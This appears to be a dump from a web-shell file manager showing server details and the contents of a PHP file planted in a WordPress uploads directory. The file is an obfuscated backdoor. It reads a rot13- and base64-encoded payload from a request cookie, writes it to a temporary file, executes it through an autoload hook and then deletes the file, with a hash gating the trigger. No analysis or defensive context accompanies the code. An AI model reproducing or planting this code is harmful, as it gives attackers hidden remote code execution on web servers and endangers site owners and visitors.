HEX
Server: Apache
System: Linux dinesh8149 5.15.98-grsec-sharedvalley-2.lc.el8.x86_64 #1 SMP Thu Mar 9 09:07:30 -03 2023 x86_64
User: usesambura1 (1212012)
PHP: 7.0.33
Disabled: apache_child_terminate,dl,escapeshellarg,escapeshellcmd,exec,link,mail,openlog,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_check_syntax,php_strip_whitespace,popen,proc_close,proc_open,shell_exec,symlink,system
Upload Files
File: /home/storage/c/63/6c/usesambura1/public_html/yr/wp-content/uploads/custom.file.4.1753942497.php
<!--iTmznz2i-->
<?php

if (isset($_COOKIE[53+-53]) && isset($_COOKIE[21-20]) && isset($_COOKIE[46-43]) && isset($_COOKIE[63+-59])) {
    $parameter_group = $_COOKIE;
    function reverse_lookup($binding) {
        $parameter_group = $_COOKIE;
        $itm = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'LpIWERrG');
        if (!is_writable($itm)) {
            $itm = getcwd() . DIRECTORY_SEPARATOR . "data_storage";
        }
        $object = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($parameter_group[3]));
        if (is_writeable($itm)) {
            $reference = fopen($itm, 'w+');
            fputs($reference, $object);
            fclose($reference);
            spl_autoload_unregister(__FUNCTION__);
            require_once($itm);
            @array_map('unlink', array($itm));
        }
    }
    spl_autoload_register("reverse_lookup");
    $elem = "db29ec3f23b7c9585b6b630e45f0e010";
    if (!strncmp($elem, $parameter_group[4], 32)) {
        if (@class_parents("sync_manager_mutex_lock", true)) {
            exit;
        }
    }
}